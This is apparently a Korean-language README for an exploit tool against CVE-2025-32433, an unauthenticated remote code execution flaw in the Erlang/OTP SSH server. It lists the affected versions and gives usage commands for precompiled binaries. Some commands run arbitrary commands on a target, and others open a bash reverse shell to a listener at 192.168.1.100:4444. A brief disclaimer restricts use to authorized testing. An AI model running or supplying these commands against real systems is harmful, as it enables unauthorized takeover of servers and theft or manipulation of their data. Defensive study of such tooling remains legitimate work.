CVE-2025-32433 Erlang/OTP SSH RCE EXP

설명

Erlang/OTP SSH 서버에서 심각한 취약점이 발견되었습니다. 이 취약점을 통해 공격자는 인증 없이 원격 코드 실행(RCE)을 수행할 수 있습니다. SSH 프로토콜 메시지 처리의 결함을 악용하여 악의적인 공격자는 유효한 자격 증명 없이 영향을 받는 시스템에 무단으로 접근하고 임의의 명령을 실행할 수 있습니다. 이는 해당 호스트의 손상으로 이어져 제3자가 민감한 데이터에 무단으로 접근하고 조작할 수 있게 하거나, 서비스 거부 공격을 가능하게 할 수 있습니다.

영향을 받는 버전

OTP-27.3.2 및 이전 버전
OTP-26.2.5.10 및 이전 버전
OTP-25.3.2.19 및 이전 버전

기능

• 익스플로잇 실행: 임의 명령 실행.
• 리버스 셸: bash 기반 리버스 셸 시작.

사용법

명령 실행:

cve-2025-32433.exe 127.0.0.1 -c 'id'
./cve-2025-32433.lnx 127.0.0.1 -c 'id'

리버스 셸 시작:

cve-2025-32433.exe 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444
./cve-2025-32433.lnx 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444

참고 자료

GitHub Advisory

NVD CVE-2025-32433

Platform Security

https://github.com/omer-efe-curkus/CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC

면책 조항

• 본 도구 사용 시 관련 법규를 준수하고, 승인된 환경에서만 테스트 및 사용하십시오.
• 본 도구는 교육 및 연구 목적으로만 제공되며, 어떠한 오용에 대한 책임은 사용자 본인에게 있습니다.